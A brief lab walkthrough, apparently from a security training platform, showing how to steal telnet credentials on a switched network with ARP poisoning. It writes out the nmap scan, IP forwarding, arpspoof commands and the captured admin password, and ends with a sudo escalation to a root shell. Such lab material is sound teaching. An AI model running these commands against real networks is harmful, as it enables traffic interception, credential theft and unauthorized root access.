Lab
Lab Environment
This lab gives access to a Kali GUI instance. A telnet server and a client machine sit on the same network, and the client authenticates with the telnet server every 30 seconds. Both machines can be attacked with the tools on the Kali instance.
Objective: identify the telnet server and client machine, steal the telnet login credentials with an ARP poisoning attack, and log in to the server.
Instructions
- Use the eth1 interface of the Kali instance to run the attack and monitor the traffic.
- Do not attack the gateway at IP address 10.100.13.1.
Tools
The best tools for this lab are:
- arpspoof
- Wireshark
The network is switched, so the goal is to intercept traffic and steal telnet credentials with an ARP poisoning attack.
Nmap Scan
nmap 10.100.13.0/24
Analyze Traffic with Wireshark
Enable IP forwarding, then poison between the client and the server:
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth1 -t 10.100.13.37 -r 10.100.13.36
Intercept the Telnet session with credentials:
Login to Telnet
- Username: admin
- Password: MyS3cr3tP455
Privilege Escalation to Root
sudo -l
sudo /bin/bash